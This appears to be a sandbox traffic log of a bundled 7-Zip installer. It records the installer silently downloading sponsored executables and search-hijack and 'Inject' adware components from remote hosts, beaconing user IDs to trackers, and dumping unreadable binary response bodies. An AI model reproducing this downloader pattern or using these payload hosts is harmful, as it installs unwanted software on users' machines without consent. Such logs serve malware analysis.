Last-Modified: Thu, 05 Feb 2015 17:35:24 GMT
X-Content-Type-Options: nosniff
Content-Type: text/javascript
Vary: Accept-Encoding
Content-Encoding: gzip
Server: Golfe2
Content-Length: 11122
Age: 5900
Alternate-Protocol: 80:quic,p=0.08
Cache-Control: public, max-age=7200
...........}{w..........e...I..@<...6......YR....&iZx>...[.m.}.9
.s.4.[..[[....l:PYo8.._Wr|G....P.wo.../G...d.,.....Z..C..7}.;.T(E....l
:.......%.|[email protected]......'f...M&.h8..1M.5623O...^...F.l
/...t..P.ZwM..wI.{T;.....$......1.6.rr|=x5...8..7.6.d...].q..3yB......
.i....g...^-.....G.>.3.....:.WPaDCefBs8....>xL_2.^...%....8.1{.B
.39.g.e.J.WI`gtC.`...F|&-j......n.......V.{...=...h....R....d..c..znz.
s.zJ.N..!r...P..W.....@<O.o...k..................Pd. ;.M..D.f...yW.
.vbZ..m...Tj..%..Dsg.q.t..;"Mj.t.u..4.j5rOig}=..A|..R.t.~.I....ww.....
...%.0.FH.....?y........G..^.9y......>.T..t.{........x.M.........w.
......_.X...^.b....5=...w. [email protected].#]..6......kj.5.
.H....3-T|...[..p.p........L.z.u.\v.H(B.........U'....P.q.....(rK..k./
.V.].V......B.f....#.......$.m.....X..=L........M.:..3.*..0Q..uB......
...\.{.N.......n(c.b.)...A.....Z...|....Qj....L..d.{dK._.N...}:9.!k..,
/....zW#.."[.n...=.i..i..4..FO.T:.....X%..9...,o..x.0l.,..N.>U..0..
UF~.X...p.Ai......%4..../.K..\.{9.M230..mP..5%*..5.2..:......0 .....\A
6.&.E.. ....\.?..o......FY...".3..m~.W..P......".&F[J.Ek{,sE.i....Y...
9.=,..V8........ ..v.r...p..5....:...`...Lv...M......}-....T;....@....
..Y.........8Ra.]&.Y\t....rV7..n%1..&...p.7.d.C.v.Lh....x...eH..IT"...
|'<$..'.FR.O.4..ZOd..`!......Q\..>\..HL...k..l6..]B........U.B..
[email protected].[.....UB..J.*g..Eq.........l.;......\.>..>
;We.. I{..qJ..h.J8w=R.A"[x/...X...4....)0b.vGcs.3.p....y.j:..'....F/M.
\....L....3..<.u....|...( ..*u;.bW....g.>_a..!.?..t.U..k....
<<< skipped >>>


GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Inject&text=GoobzoInfo HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 04:00:39 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 20
15 04:00:39 GMT..Content-Length: 0..



GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2wy0yopxw6nne.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Length: 3430
Connection: keep-alive
Server: nginx
Date: Tue, 10 Feb 2015 16:28:03 GMT
Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT
ETag: "54da1999-d66"
Expires: Tue, 10 Feb 2015 16:38:03 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
X-Cache: RefreshHit from cloudfront
Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LCUOVjde6BAuFaCjY676X2mg2pnrxEWVEN5KUfnSjp8EDoQReLFd-w==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................
<<< skipped >>>

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2wy0yopxw6nne.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 04:47:39 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 08 Feb 2015 04:57:39 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 570
X-Cache: Hit from cloudfront
Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: BfcvhqvJFQvqSXXh4FjZd9zK6F92S6ACsT2SoNcAH0rmiciF8k8p2g==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;......B<
}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.".M\..M
Qf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g......9.
..0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m...S.Lw
.......M4k.......m9.....U.......[../[email protected]....:.s.....Y...g...%..D.
I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x...V.o6
[email protected].*6....;/.b..
;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b ...&u]
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 321632
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Age: 553
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 63HsKaanisC0PZFGroK2PM-ZR-4tmgYhJsoVuKZtCZ0-uk2cZNJRLQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.
<<< skipped >>>


GET /img/youtube-accelerator-logo.png HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=epzieoysgq4zjz4kqsejb0jl



.m..{...=.W.J..u;..Q.]Wa76....OZ.`.Z...fKY....!~.@ `.....VD.$..;..6.}.
.......#.P.....qeK..j.g.P.z..#.S...9..o}.J..,..Y6.}>6.^.{.c._..""..
.H......9.s....N~.r....nA.....Z...J..#"....!.qf ...e...{..w..^..[...M~
d..eK)......|n..N.NN..c[.'P[YE\a.. .8.. ..HBJ..D...*B}.LG.....A.._...v
d.v.5h..../.........hV..;..p..("#..$!..;.........a.7&H..Pm$.^.........
s..4...E..9...m..B5uQ..C....)!i!f...[.BG..Nb....tb........H.)..y......
.{[email protected]`...O....0..B8.jvK.N..;..........O.J.Yj.d...K..j...a...."
....e3........b.......wD.....v...BA.v`Y."1...R.4.X......B.`.....{....*
C($....A8....K..=......;...>Q...H...M._..1.....T.9.z....r.RIq..(2..
...>.9....P:.2"9...d..I.1.H.w..p..C.Op..E....$E.j .t..../^......../
...(.ud.<U...hA..,...W/.cO...{....`.....C/...!......E@........ ^a..
...K..j..x...............Q..!.G.i].../.x..V)...O...N.x4Y.FG........~.~
..4......rGd$_...1... G........w. .{...`'.1...hAd..$....2g!.I.R..-....
V.9..$ ....*n..I.Q....PB.B.(....tA..8a..K."...TYv.......W..........p..
.p..A....3e.*..J.)9....KY.?...........].|a..B.HK.4>...........7..3.
0{].6\...t..|..!.qhOHZ....3..^.E.&...Mb.Gt..3.s.......q8.u..... 8.....
.}p..^....|.:.. .B..#T.........V........5.#..........!..NXi.].E.....v.
.V ~...mX.E.7.UNeq.....#8.'..JP.J&W...Nz...tD...*..*u..$...VZ..rk..9..
...]f..~...*s.w.r.NznW.y$.?(7.|U..Q.J.I.........y.\JD...|..(7 .]~.._..
q..a....C..',..*.1....v....X.K..P[.$..x....g.C?....s..C/.......Q.3.C./
!.q..e.< e.....?N1]4....us...........b...'...R....-w.V..:D...s.%%.r
..Fu..*..d.Y........&.f..bM..........F.M%.....Ze.q...1%[email protected]..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 04:01:12 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 321632
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Age: 477
X-Cache: Hit from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: FCulRZM7XnGBEYvM7V712cXhLwmjbfyWLbyzlbamLhDWytTcS60V0w==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 1
X-Cache: Hit from cloudfront
Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)
X-Amz-Cf-Id: WqDoRhXeGVaoIcE9nwDgSwPBRbuKQ050Nb-cDTE6aOadk3fvwy2wVw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.usertrust.com


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 04:02:03 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Thu, 12 Feb 2015 15:46:20 GMT
Expires: Mon, 16 Feb 2015 15:46:20 GMT
ETag: FA7231521919AEFC1E04569DB28937D5B810720B
Cache-Control: max-age=214456,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp10
Content-Length: 471
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........z4.&...&T....$.T...2015021
2154620Z0s0q0I0... ........|.fT...D.b&...e{.z.......z4.&...&T....$.T..
.B.......R.K.$&.K....20150212154620Z....20150216154620Z0...*.H........
......t...."Y..&>Q.@^2O.[.#.wb|.M6l..l.k].D..:...o.j...`....K..\|g.
l0....A.`4m-.]I./0^_A..?X..2.2....k.I.O9E....`..~h..j]...,.K...5.d.R..
\kx....4.eJ.....,../_..l....=P.Ze$....3...0.)~$[...l..Q....6...S..r..*
.RS..S".Q.e....IS.M.7....w\_.4.......7g........vm.......



GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=1&index_in_screen=1&index_in_session=1&0.9101025986293587 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.833397082.1423886223.1423886223.1423886223.1; __utmb=1.1.10.1423886223; __utmc=1; __utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:57:19 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:57:19 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en HTTP/1.1
Accept: */*
Accept-Encoding: */*
Connection: Keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: xa.xingcloud.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:00:30 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.39 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:00:30 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.39 ms","message":"store 4 ac
tion and 5 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,25 HTTP/1.1


Accept: */*
Accept-Encoding: */*
Connection: Keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: xa.xingcloud.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:00:34 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.73 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:00:34 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.73 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=142780-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 142778
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 142780-285557/285558
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LQ5FofifeKNyyodOojc4aFC_C8JdLpC6-piT-DEFlkON0xIgHhtdUA==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 285558
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-285557/285558
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: qrCsbyjEcpW_tM3O5usjwxMhHR5cC4UrYwlMI_fEQQ0CFyjFf-VQEw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /ytai.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3dle8xo1zpfnz.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT
Accept-Ranges: bytes
ETag: "76e36b728e29d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:59 GMT
Content-Range: bytes 0-249999/1206160
X-Cache: Miss from cloudfront
